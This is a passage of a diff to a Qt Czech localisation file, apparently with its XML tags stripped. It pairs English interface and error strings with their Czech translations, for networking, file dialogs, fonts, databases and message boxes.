    -        Spojení s počítačem navázáno
    +        Cannot assign object type %1 with no default method
    +        Typ předmětu %1 nelze přiřadit, protože neexistuje žádná výchozí metoda
         
         
    -        
    -        Connected to host %1
    -        Spojeno s počítačem %1
    +        Cannot connect mismatched signal/slot %1 %vs. %2
    +        Nelze vytvořit žádné spojení mezi signálem %1 a otvorem %2, protože se k sobě nehodí
         
         
    -        
    -        
    -        
    -        Host %1 not found
    -        Počítač %1 se nepodařilo nalézt
    +        Cannot assign an object to signal property %1
    +        Vlastnosti signálu %1 nelze přiřadit žádný předmět
         
         
    -        
    -        Host requires authentication
    -        Hostitelský počítač požaduje autentizaci
    +        Cannot assign object to list
    +        Přiřazení předmětu k seznamům není přípustné
         
         
    -        
    -        Error writing response to device
    -        Při psaní odpovědi výstupnímu zařízení se vyskytla chyba
    +        Cannot assign object to interface property
    +        Vlastnosti rozhraní nelze přiřadit žádný předmět
         
         
    -        
    -        HTTPS connection requested but SSL support not compiled in
    -        Požadované HTTPS spojení nelze vytvořit, protože neexistuje žádná SSL podpora
    +        Unable to create attached object
    +        Nepodařilo se vytvořit žádný připojený předmět (typu 'attached')
         
         
    -        
    -        Host found
    -        Počítač byl nalezen
    +        Cannot set properties on %1 as it is null
    +        Vlastnosti nelze nastavit na %1, protože jsou 'null'
         
    +
    +
    +    QDeclarativeVisualDataModel
         
    -        
    -        
    -        Connection refused
    -        Spojení bylo odmítnuto
    +        Delegate component must be Item type.
    +        Součástka zástupce musí být typu 'item'.
         
    +
    +
    +    QDeclarativeXmlListModel
         
    -        
    -        Proxy authentication required
    -        Požadována proxy autentizace
    +        Qt was built without support for xmlpatterns
    +        Qt bylo sestaveno bez podpory pro xmlpatterns
         
    +
    +
    +    QDeclarativeXmlListModelRole
         
    -        
    -        Unknown protocol specified
    -        Byl zadán neznámý protokol
    +        An XmlRole query must not start with '/'
    +        Vyhledávání XmlRole nesmí začínat s '/'
         
    +
    +
    +    QDeclarativeXmlRoleList
         
    -        
    -        
    -        
    -        
    -        HTTP request failed
    -        HTTP dotaz se nezdařil
    +        An XmlListModel query must start with '/' or "//"
    +        Vyhledávání XmlListModel musí začínat s '/' nebo "//"
         
    +
    +
    +    QDial
         
    -        
    -        Proxy requires authentication
    -        Proxy server požaduje autentizaci
    +        QDial
    +        QDial
         
         
    -        
    -        Authentication required
    -        Požadována autentizace
    +        SliderHandle
    +        Posuvník
         
         
    -        
    -        SSL handshake failed
    -        Během startu SSL protokolu se vyskytla chyba
    +        SpeedoMeter
    +        Rychloměr
         
    +
    +
    +    QDialog
         
    -        
    -        Connection to %1 closed
    -        Spojení s %1 ukončeno
    +        Done
    +        Hotovo
         
         
    -        
    -        
    -        
    -        
    -        Invalid HTTP chunked body
    -        Obsah (chunked body - rozkouskované tělo) HTTP je neplatný
    +        What's This?
    +        Co je toto?
         
    +
    +
    +    QDialogButtonBox
         
    -        
    -        Host %1 found
    -        Počítač %1 byl nalezen
    +        OK
    +        OK
         
         
    -        
    -        
    -        Wrong content length
    -        Neplatný údaj o délce obsahu
    +        &OK
    +        &OK
         
         
    -        
    -        
    -        
    -        
    -        Unknown error
    -        Neznámá chyba
    +        &No
    +        &Ne
         
         
    -        
    -        
    -        Invalid HTTP response header
    -        Hlavička HTTP odpovědi není platná
    +        &Yes
    +        &Ano
         
         
    -        
    -        Unknown authentication method
    -        Neznámý způsob autentizace
    +        Help
    +        Nápověda
         
         
    -        
    -        
    -        Connection closed
    -        Spojení ukončeno
    +        Open
    +        Otevřít
         
         
    -        
    -        
    -        No server set to connect to
    -        Pro spojení nebyl nastaven žádný počítač - server
    +        Save
    +        Uložit
         
         
    -        
    -        
    -        Server closed connection unexpectedly
    -        Server neočekávaně uzavřel spojení
    +        &Save
    +        &Uložit
    +    
    +    
    +        Abort
    +        Zrušit
    +    
    +    
    +        Apply
    +        Použít
    +    
    +    
    +        Close
    +        Zavřít
    +    
    +    
    +        Reset
    +        Vrátit
    +    
    +    
    +        Retry
    +        Opakovat
    +    
    +    
    +        Restore Defaults
    +        Obnovit výchozí
    +    
    +    
    +        &Close
    +        &Zavřít
    +    
    +    
    +        Cancel
    +        Zrušit
    +    
    +    
    +        Ignore
    +        Přehlížet
    +    
    +    
    +        Close without Saving
    +        Zavřít bez uložení
    +    
    +    
    +        N&o to All
    +        N&e, žádné
    +    
    +    
    +        Save All
    +        Uložit vše
    +    
    +    
    +        &Cancel
    +        &Zrušit
    +    
    +    
    +        Discard
    +        Odmítnout
    +    
    +    
    +        Yes to &All
    +        Ano, &vše
    +    
    +    
    +        Don't Save
    +        Neukládat
    +    
    +
    +
    +    QDirModel
    +    
    +        Kind
    +        Druh
    +    
    +    
    +        Name
    +        Název
    +    
    +    
    +        Size
    +        Velikost
    +    
    +    
    +        Kind
    +        Match OS X Finder
    +        Druh
    +    
    +    
    +        Type
    +        All other platforms
    +        Typ
    +    
    +    
    +        Type
    +        Typ
    +    
    +    
    +        Date Modified
    +        Datum změny
    +    
    +
    +
    +    QDockWidget
    +    
    +        Dock
    +        Vplout do panelu
    +    
    +    
    +        Close
    +        Zavřít
    +    
    +    
    +        Float
    +        Plout
    +    
    +
    +
    +    QDoubleSpinBox
    +    
    +        Less
    +        Méně
    +    
    +    
    +        More
    +        Více
    +    
    +
    +
    +    QErrorMessage
    +    
    +        &OK
    +        &OK
    +    
    +    
    +        Fatal Error:
    +        Osudová chyba:
    +    
    +    
    +        &Show this message again
    +        Toto hlášení &ukázat ještě jednou
    +    
    +    
    +        Debug Message:
    +        Hlášení o odladění:
    +    
    +    
    +        Warning:
    +        Varování:
    +    
    +
    +
    +    QFile
    +    
    +        Cannot create %1 for output
    +        %1 se nepodařilo zřídit pro výstup
    +    
    +    
    +        Failure to write block
    +        Datový blok se nepodařilo zapsat
    +    
    +    
    +        Will not rename sequential file using block copy
    +        Nepřejmenuje posloupný soubor pomocí kopie bloku
    +    
    +    
    +        Cannot remove source file
    +        Nelze odstranit zdrojový soubor
    +    
    +    
    +        Cannot open %1 for input
    +        %1 se nepodařilo otevřít pro čtení
    +    
    +    
    +        Destination file exists
    +        Cílový soubor již existuje
    +    
    +    
    +        Cannot open for output
    +        Nepodařilo se otevřít pro zápis
    +    
    +
    +
    +    QFileDialog
    +    
    +        Back
    +        Zpět
    +    
    +    
    +        File
    +        Soubor
    +    
    +    
    +        File Folder
    +        Match Windows Explorer
    +        Souborová složka
    +    
    +    
    +        Folder
    +        All other platforms
    +        Složka
    +    
    +    
    +        Alias
    +        Mac OS X Finder
    +        Přezdívka
    +    
    +    
    +        Shortcut
    +        All other platforms
    +        Zkratka
    +    
    +    
    +        Open
    +        Otevřít
    +    
    +    
    +        &Open
    +        &Otevřít
    +    
    +    
    +        &Save
    +        &Uložit
    +    
    +    
    +        Drive
    +        Disková jednotka
    +    
    +    
    +        Show 
    +        Ukázat 
    +    
    +    
    +        '%1' is write protected.
    +Do you want to delete it anyway?
    +        '%1' je chráněn proti zápisu.
    +Přesto chcete soubor smazat?
    +    
    +    
    +        File &name:
    +        Název &souboru:
    +    
    +    
    +        New Folder
    +        Nová složka
    +    
    +    
    +        Parent Directory
    +        Nadřazený adresář
    +    
    +    
    +        &New Folder
    +        &Nová složka
    +    
    +    
    +        Remove
    +        Odstranit
    +    
    +    
    +        My Computer
    +        Můj počítač
    +    
    +    
    +        Look in:
    +        Hledat v:
    +    
    +    
    +        Files of type:
    +        Soubory typu:
    +    
    +    
    +        Find Directory
    +        Najít adresář
    +    
    +    
    +        Show &hidden files
    +        &Ukázat skryté soubory
    +    
    +    
    +        Are sure you want to delete '%1'?
    +        Jste si jistý, že %1 chcete smazat?
    +    
    +    
    +        Save As
    +        Uložit jako
    +    
    +    
    +        %1
    +Directory not found.
    +Please verify the correct directory name was given.
    +        %1
    +Adresář se nepodařilo nalézt.
    +Ověřte, prosím, že byl zadán správný název adresáře.
    +    
    +    
    +        List View
    +        Pohled se seznamem
    +    
    +    
    +        &Choose
    +        &Vybrat
    +    
    +    
    +        &Delete
    +        &Smazat
    +    
    +    
    +        All Files (*)
    +        Všechny soubory (*)
    +    
    +    
    +        Directories
    +        Adresáře
    +    
    +    
    +        All Files (*.*)
    +        Všechny soubory (*.*)
    +    
    +    
    +        &Rename
    +        &Přejmenovat
    +    
    +    
    +        Could not delete directory.
    +        Adresář se nepodařilo smazat.
    +    
    +    
    +        Directory:
    +        Adresář:
    +    
    +    
    +        Unknown
    +        Neznámý
    +    
    +    
    +        %1 already exists.
    +Do you want to replace it?
    +        Soubor %1 již existuje.
    +Chcete jej nahradit?
    +    
    +    
    +        Forward
    +        Dopředu
    +    
    +    
    +        Recent Places
    +        Naposledy navštívené
    +    
    +    
    +        Create New Folder
    +        Vytvořit novou složku
    +    
    +    
    +        Detail View
    +        Podrobný pohled
    +    
    +    
    +        %1
    +File not found.
    +Please verify the correct file name was given.
    +        %1
    +Soubor se nepodařilo nalézt.
    +Ověřte, prosím, že byl zadán správný název souboru.
    +    
    +    
    +        Go back
    +        Jít zpět
    +    
    +    
    +        Go forward
    +        Jít dopředu
    +    
    +    
    +        Go to the parent directory
    +        Jít do rodičovského adresáře
    +    
    +    
    +        Create a New Folder
    +        Vytvořit novou složku
    +    
    +    
    +        Change to list view mode
    +        Změnit na režim pohledu se seznamem
    +    
    +    
    +        Change to detail view mode
    +        Změnit na režim s podrobným pohledem
    +    
    +
    +
    +    QFileSystemModel
    +    
    +        Kind
    +        Druh
    +    
    +    
    +        Name
    +        Název
    +    
    +    
    +        Size
    +        Velikost
    +    
    +    
    +        Type
    +        Typ
    +    
    +    
    +        %1 GB
    +        %1 GB
    +    
    +    
    +        %1 KB
    +        %1 KB
    +    
    +    
    +        %1 MB
    +        %1 MB
    +    
    +    
    +        %1 TB
    +        %1 TB
    +    
    +    
    +        <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    +        <b>Název "%1" nelze použít.</b><p>Zkuste použít jiný název, s menším počtem znaků nebo bez zvláštních znaků.
    +    
    +    
    +        %1 bytes
    +        %1 bytů
    +    
    +    
    +        My Computer
    +        Můj počítač
    +    
    +    
    +        Computer
    +        Počítač
    +    
    +    
    +        Invalid filename
    +        Neplatný název souboru
    +    
    +    
    +        Kind
    +        Match OS X Finder
    +        Druh
    +    
    +    
    +        Type
    +        All other platforms
    +        Typ
    +    
    +    
    +        Date Modified
    +        Datum změny
    +    
    +    
    +        %1 byte(s)
    +        %1 byt(ů)
    +    
    +
    +
    +    QFontDatabase
    +    
    +        Any
    +        Všechna
    +    
    +    
    +        Lao
    +        Laoské
    +    
    +    
    +        Bold
    +        Tučné
    +    
    +    
    +        Demi
    +        Polotučné
    +    
    +    
    +        Thai
    +        Thajské
    +    
    +    
    +        Black
    +        Černé
    +    
    +    
    +        Greek
    +        Řecké
    +    
    +    
    +        Khmer
    +        Khmerské
    +    
    +    
    +        Latin
    +        Latinské
    +    
    +    
    +        Light
    +        Lehké
    +    
    +    
    +        Ogham
    +        Ogamské
    +    
    +    
    +        Oriya
    +        Oriya
    +    
    +    
    +        Runic
    +        Runové
    +    
    +    
    +        Tamil
    +        Tamilské
    +    
    +    
    +        Cyrillic
    +        Cyrilské
    +    
    +    
    +        Kannada
    +        Kannada
    +    
    +    
    +        Malayalam
    +        Malayalam
    +    
    +    
    +        Simplified Chinese
    +        Zjednodušená čínština
    +    
    +    
    +        N'Ko
    +        N'Ko
    +    
    +    
    +        Demi Bold
    +        Polotučné
    +    
    +    
    +        Arabic
    +        Arabské
    +    
    +    
    +        Hebrew
    +        Hebrejské
    +    
    +    
    +        Myanmar
    +        Myanmar
    +    
    +    
    +        Italic
    +        Itala
    +    
    +    
    +        Korean
    +        Korejské
    +    
    +    
    +        Normal
    +        Obvyklé
    +    
    +    
    +        Oblique
    +        Nakloněné
    +    
    +    
    +        Telugu
    +        Telugu
    +    
    +    
    +        Thaana
    +        Thaana
    +    
    +    
    +        Symbol
    +        Symbol
    +    
    +    
    +        Syriac
    +        Syrské
    +    
    +    
    +        Devanagari
    +        Devanagari
    +    
    +    
    +        Japanese
    +        Japonské
    +    
    +    
    +        Bengali
    +        Bengálské
    +    
    +    
    +        Armenian
    +        Arménské
    +    
    +    
    +        Sinhala
    +        Sinhálské
    +    
    +    
    +        Tibetan
    +        Tibetské
    +    
    +    
    +        Vietnamese
    +        Větnamské
    +    
    +    
    +        Gujarati
    +        Gujarati
    +    
    +    
    +        Traditional Chinese
    +        Tradiční čínština
    +    
    +    
    +        Georgian
    +        Gruzínské
    +    
    +    
    +        Gurmukhi
    +        Gurmukhi
    +    
    +
    +
    +    QFontDialog
    +    
    +        &Font
    +        &Písmo
    +    
    +    
    +        &Size
    +        &Velikost
    +    
    +    
    +        Sample
    +        Vzorek
    +    
    +    
    +        Font st&yle
    +        Druh pís&ma
    +    
    +    
    +        Wr&iting System
    +        Způsob &psaní
    +    
    +    
    +        Select Font
    +        Vybrat písmo
    +    
    +    
    +        &Underline
    +        &Podtrhnout
    +    
    +    
    +        Effects
    +        Efekty
    +    
    +    
    +        Stri&keout
    +        Pře&škrtnout
    +    
    +
    +
    +    QFtp
    +    
    +        Listing directory failed:
    +%1
    +        Obsah adresářů nelze ukázat:
    +%1
    +    
    +    
    +        Creating directory failed:
    +%1
    +        Vytvoření adresářů se nezdařilo:
    +%1
    +    
    +    
    +        Not connected
    +        Žádné spojení
    +    
    +    
    +        Connection refused for data connection
    +        Odmítnuto spojení spojení pro data
    +    
    +    
    +        Login failed:
    +%1
    +        Přihlášení se nezdařilo:
    +%1
    +    
    +    
    +        Downloading file failed:
    +%1
    +        Stažení souboru se nezdařilo:
    +%1
    +    
    +    
    +        Connected to host
    +        Spojení s počítačem navázáno
    +    
    +    
    +        Connection timed out to host %1
    +        Časový limit pro spojení s počítačem '%1' byl překročen
    +    
    +    
    +        Connected to host %1
    +        Spojeno s počítačem %1
    +    
    +    
    +        Connecting to host failed:
    +%1
    +        Spojení s počítačem se nezdařilo:
    +%1
    +    
    +    
    +        Host %1 not found
    +        Počítač %1 se nepodařilo nalézt
    +    
    +    
    +        Uploading file failed:
    +%1
    +        Nahrání souboru se nezdařilo:
    +%1
    +    
    +    
    +        Changing directory failed:
    +%1
    +        Změna adresáře se nezdařila:
    +%1
    +    
    +    
    +        Host found
    +        Počítač byl nalezen
    +    
    +    
    +        Removing directory failed:
    +%1
    +        Odstranění adresáře se nezdařilo:
    +%1
    +    
    +    
    +        Connection refused to host %1
    +        Spojení s počítačem %1 odmítnuto
    +    
    +    
    +        Connection to %1 closed
    +        Spojení s %1 ukončeno
    +    
    +    
    +        Removing file failed:
    +%1
    +        Odstranění souboru se nezdařilo:
    +%1
    +    
    +    
    +        Host %1 found
    +        Počítač %1 byl nalezen
    +    
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
    +    
    +        Connection closed
    +        Spojení ukončeno
    +    
    +
    +
    +    QHostInfo
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
    +    
    +        No host name given
    +        Nebyl zadán název pro hostitelský počítač
    +    
    +
    +
    +    QHostInfoAgent
    +    
    +        Host not found
    +        Nepodařilo se najít počítač
    +    
    +    
    +        Unknown address type
    +        Neznámý typ adresy
    +    
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
    +    
    +        No host name given
    +        Nebyl zadán název pro hostitelský počítač
    +    
    +    
    +        Invalid hostname
    +        Neplatný název pro hostitelský počítač
    +    
    +
    +
    +    QHttp
    +    
    +        Connection refused (or timed out)
    +        Spojení bylo odmítnuto (nebo byl překročen časový limit)
    +    
    +    
    +        Data corrupted
    +        Data jsou poškozena
    +    
    +    
    +        Connected to host
    +        Spojení s počítačem navázáno
    +    
    +    
    +        Connected to host %1
    +        Spojeno s počítačem %1
    +    
    +    
    +        Host %1 not found
    +        Počítač %1 se nepodařilo nalézt
    +    
    +    
    +        Host requires authentication
    +        Hostitelský počítač požaduje autentizaci
    +    
    +    
    +        Error writing response to device
    +        Při psaní odpovědi výstupnímu zařízení se vyskytla chyba
    +    
    +    
    +        HTTPS connection requested but SSL support not compiled in
    +        Požadované HTTPS spojení nelze vytvořit, protože neexistuje žádná SSL podpora
    +    
    +    
    +        Host found
    +        Počítač byl nalezen
    +    
    +    
    +        Connection refused
    +        Spojení bylo odmítnuto
    +    
    +    
    +        Proxy authentication required
    +        Požadována proxy autentizace
    +    
    +    
    +        Unknown protocol specified
    +        Byl zadán neznámý protokol
    +    
    +    
    +        HTTP request failed
    +        HTTP dotaz se nezdařil
    +    
    +    
    +        Proxy requires authentication
    +        Proxy server požaduje autentizaci
    +    
    +    
    +        Authentication required
    +        Požadována autentizace
    +    
    +    
    +        SSL handshake failed
    +        Během startu SSL protokolu se vyskytla chyba
    +    
    +    
    +        Connection to %1 closed
    +        Spojení s %1 ukončeno
    +    
    +    
    +        Invalid HTTP chunked body
    +        Obsah (chunked body - rozkouskované tělo) HTTP je neplatný
    +    
    +    
    +        Host %1 found
    +        Počítač %1 byl nalezen
    +    
    +    
    +        Wrong content length
    +        Neplatný údaj o délce obsahu
    +    
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
    +    
    +        Invalid HTTP response header
    +        Hlavička HTTP odpovědi není platná
    +    
    +    
    +        Unknown authentication method
    +        Neznámý způsob autentizace
    +    
    +    
    +        Connection closed
    +        Spojení ukončeno
    +    
    +    
    +        No server set to connect to
    +        Pro spojení nebyl nastaven žádný počítač - server
    +    
    +    
    +        Server closed connection unexpectedly
    +        Server neočekávaně uzavřel spojení
    +    
    +    
    +        Request aborted
    +        Požadavek byl zrušen
    +    
    +
    +
    +    QHttpSocketEngine
    +    
    +        Proxy connection refused
    +        Proxy server odmítl navázání spojení
    +    
    +    
    +        Proxy denied connection
    +        Proxy server odmítl spojení
    +    
    +    
    +        Proxy server not found
    +        Nepodařilo se najít žádný proxy server
    +    
    +    
    +        Proxy server connection timed out
    +        Při spojení s proxy serverem byl překročen časový limit
    +    
    +    
    +        Did not receive HTTP response from proxy
    +        Žádná HTTP odpověď od proxy serveru
    +    
    +    
    +        Proxy connection closed prematurely
    +        Proxy server předčasně ukončil spojení
    +    
    +    
    +        Error communicating with HTTP proxy
    +        Chyba při spojení s proxy serverem
    +    
    +    
    +        Authentication required
    +        Požadována autentizace
    +    
    +    
    +        Error parsing authentication request from proxy
    +        Chyba při vyhodnocení autentizačního požadavku proxy serveru
    +    
    +
    +
    +    QIBaseDriver
    +    
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +    
    +    
    +        Could not start transaction
    +        Nepodařilo se spustit žádnou transakci
    +    
    +    
    +        Error opening database
    +        Nepodařilo se otevřít spojení s databází
    +    
    +    
    +        Unable to rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +    
    +
    +
    +    QIBaseResult
    +    
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +    
    +    
    +        Unable to open BLOB
    +        Nepodařilo se otevřít BLOB
    +    
    +    
    +        Could not describe statement
    +        Nepodařilo se získat žádný popis příkazu
    +    
    +    
    +        Could not describe input statement
    +        Nepodařilo se získat žádný popis vstupního příkazu
    +    
    +    
    +        Could not allocate statement
    +        Přidělení příkazu se nezdařilo
    +    
    +    
    +        Unable to write BLOB
    +        Nepodařilo se zapsat BLOB
    +    
    +    
    +        Could not start transaction
    +        Nepodařilo se spustit žádnou transakci
    +    
    +    
    +        Unable to close statement
    +        Příkaz se nepodařilo zavřít
    +    
    +    
    +        Could not get query info
    +        Požadované informace k vyhledávání nejsou k dispozici
    +    
    +    
    +        Could not find array
    +        Nepodařilo se najít pole
    +    
    +    
    +        Could not get array data
    +        Nepodařilo se přečíst data pole
    +    
    +    
    +        Unable to execute query
    +        Dotaz se nepodařilo provést
    +    
    +    
    +        Could not prepare statement
    +        Příkaz se nepodařilo připravit
    +    
    +    
    +        Could not fetch next item
    +        Další prvek se nepodařilo vyzvednout
    +    
    +    
    +        Could not get statement info
    +        K dispozici není žádná informace k příkazu
    +    
    +    
    +        Unable to create BLOB
    +        Nepodařilo se vytvořit žádný BLOB
    +    
    +    
    +        Unable to read BLOB
    +        BLOB se nepodařilo přečíst
    +    
    +
    +
    +    QIODevice
    +    
    +        No such file or directory
    +        Nepodařilo se najít žádný takový soubor nebo adresář
    +    
    +    
    +        Permission denied
    +        Přístup odepřen
    +    
    +    
    +        No space left on device
    +        Na zařízení není žádný volný úložný prostor
    +    
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
    +    
    +        Too many open files
    +        Příliš mnoho otevřených souborů
    +    
    +
    +
    +    QInputContext
    +    
    +        XIM
    +        XIM
    +    
    +    
    +        FEP
    +        FEP
    +    
    +    
    +        Windows input method
    +        Windows-vstupní metoda
    +    
    +    
    +        S60 FEP input method
    +        S60 FEP-vstupní metoda
    +    
    +    
    +        XIM input method
    +        XIM-vstupní metoda
    +    
    +    
    +        Mac OS X input method
    +        Mac OS X-vstupní metoda
    +    
    +
    +
    +    QInputDialog
    +    
    +        Enter a value:
    +        Zadejte hodnotu:
    +    
    +
    +
    +    QLibrary
    +    
    +        Could not unmap '%1': %2
    +        Operace unmap, zrušit zobrazení, se nezdařila u '%1': %2
    +    
    +    
    +        Cannot unload library %1: %2
    +        Knihovnu %1 nelze vyjmout: %2
    +    
    +    
    +        Cannot load library %1: %2
    +        Knihovnu %1 nelze nahrát: %2
    +    
    +    
    +        The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    +        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (%2.%3.%4) [%5]
    +    
    +    
    +        Cannot resolve symbol "%1" in %2: %3
    +        Symbol "%1" nelze v %2 vyřešit: %3
    +    
    +    
    +        Plugin verification data mismatch in '%1'
    +        Ověřovací data přídavného nesouhlasí v '%1'
    +    
    +    
    +        The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    +        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (Knihovny vytvořené v režimu ladění a vydání nemohou být používány společně.)
    +    
    +    
    +        The file '%1' is not a valid Qt plugin.
    +        Soubor '%1' není platným přídavným modulem Qt.
    +    
    +    
    +        The shared library was not found.
    +        Nepodařilo se nalézt sdílenou knihovnu.
    +    
    +    
    +        Unknown error
    +        Neznámá chyba
    +    
    +    
    +        The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    +        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. Potřebný byl zvláštní klíč pro sestavení "%2", obdržen "%3"
    +    
    +    
    +        Could not mmap '%1': %2
    +        Operace mmap se nezdařila u '%1': %2
    +    
    +
    +
    +    QLineEdit
    +    
    +        Cu&t
    +        &Vyjmout
    +    
    +    
    +        &Copy
    +        &Kopírovat
    +    
    +    
    +        &Redo
    +        &Znovu
    +    
    +    
    +        &Undo
    +        &Zpět
    +    
    +    
    +        &Paste
    +        &Vložit
    +    
    +    
    +        Delete
    +        Smazat
    +    
    +    
    +        Select All
    +        Vybrat vše
    +    
    +
    +
    +    QLocalServer
    +    
    +        %1: Name error
    +        %1: Chybný název
    +    
    +    
    +        %1: Unknown error %2
    +        %1: Neznámá chyba %2
    +    
    +    
    +        %1: Permission denied
    +        %1: Přístup odepřen
    +    
    +    
    +        %1: Address in use
    +        %1: Adresa se již používá
    +    
    +
    +
    +    QLocalSocket
    +    
    +        %1: Connection error
    +        %1: Chyba spojení
    +    
    +    
    +        %1: Connection refused
    +        %1: Spojení bylo odmítnuto
    +    
    +    
    +        %1: Unknown error %2
    +        %1: Neznámá chyba %2
    +    
    +    
    +        %1: Socket access error
    +        %1: Chyba při přístupu k zásuvce (socketu)
    +    
    +    
    +        %1: Socket resource error
    +        %1: Chyba zásuvky (socketu) - potíže se zdrojem
    +    
    +    
    +        %1: The socket operation is not supported
    +        %1: Tato operace se zásuvkou (socketem) není podporována
         
         
    -        
    -        
    -        Request aborted
    -        Požadavek byl zrušen
    +        %1: Invalid name
    +        %1: Neplatný název
    +    
    +    
    +        %1: Unknown error
    +        %1: Neznámá chyba
    +    
    +    
    +        %1: Socket operation timed out
    +        %1: Překročení času při operaci se zásuvkou (socketem)
    +    
    +    
    +        %1: Datagram too large
    +        %1: Datagram je příliš veliký
    +    
    +    
    +        %1: Remote closed
    +        %1: Spojení bylo protější stranou uzavřeno
    +    
    +
    +
    +    QMYSQLDriver
    +    
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +    
    +    
    +        Unable to open database '
    +        Nepodařilo se otevřít spojení s databází '
    +    
    +    
    +        Unable to connect
    +        Nepodařilo se navázat spojení
    +    
    +    
    +        Unable to rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +    
    +    
    +        Unable to begin transaction
    +        Transakci se nepodařilo spustit
    +    
    +
    +
    +    QMYSQLResult
    +    
    +        Unable to execute statement
    +        Příkaz se nepodařilo provést
    +    
    +    
    +        Unable to store statement results
    +        Výsledky příkazu se nepodařilo uložit
    +    
    +    
    +        Unable to execute next query
    +        Další dotaz nelze provést
    +    
    +    
    +        Unable to bind outvalues
    +        Výstupní hodnoty se nepodařilo spojit
    +    
    +    
    +        Unable to store next result
    +        Další výsledek nelze uložit
    +    
    +    
    +        Unable to fetch data
    +        Nepodařilo se natáhnout žádná data
    +    
    +    
    +        Unable to prepare statement
    +        Příkaz se nepodařilo připravit
    +    
    +    
    +        Unable to store result
    +        Výsledek se nepodařilo uložit
    +    
    +    
    +        Unable to bind value
    +        Hodnotu se nepodařilo spojit
    +    
    +    
    +        Unable to execute query
    +        Dotaz se nepodařilo provést
    +    
    +    
    +        Unable to reset statement
    +        Příkaz se nepodařilo znovu nastavit
    +    
    +
    +
    +    QMdiArea
    +    
    +        (Untitled)
    +        (Bez názvu)
    +    
    +
    +
    +    QMdiSubWindow
    +    
    +        Help
    +        Nápověda
    +    
    +    
    +        Menu
    +        Menu
    +    
    +    
    +        &Move
    +        Po&sunout
    +    
    +    
    +        &Size
    +        Změnit &velikost
    +    
    +    
    +        Close
    +        Zavřít
    +    
    +    
    +        Minimize
    +        Zmenšit
    +    
    +    
    +        Shade
    +        Navinout
    +    
    +    
    +        Stay on &Top
    +        Zůstat v &popředí
    +    
    +    
    +        &Close
    +        &Zavřít
    +    
    +    
    +        - [%1]
    +        - [%1]
    +    
    +    
    +        %1 - [%2]
    +        %1 - [%2]
    +    
    +    
    +        &Restore
    +        &Obnovit
    +    
    +    
    +        Restore
    +        Obnovit
    +    
    +    
    +        Maximize
    +        Zvětšit
    +    
    +    
    +        Unshade
    +        Odvinout
    +    
    +    
    +        Mi&nimize
    +        Zmen&šit
    +    
    +    
    +        Ma&ximize
    +        Zvě&tšit
    +    
    +    
    +        Restore Down
    +        Obnovit
    +    
    +
    +
    +    QMenu
    +    
    +        Open
    +        Otevřít
    +    
    +    
    +        Close
    +        Zavřít
    +    
    +    
    +        Execute
    +        Provést
    +    
    +
    +
    +    QMenuBar
    +    
    +        Actions
    +        Činnosti
    +    
    +
    +
    +    QMessageBox
    +    
    +        OK
    +        OK
    +    
    +    
    +        Help
    +        Nápověda
    +    
    +    
    +        <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    +        <p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Autorské právo (C) 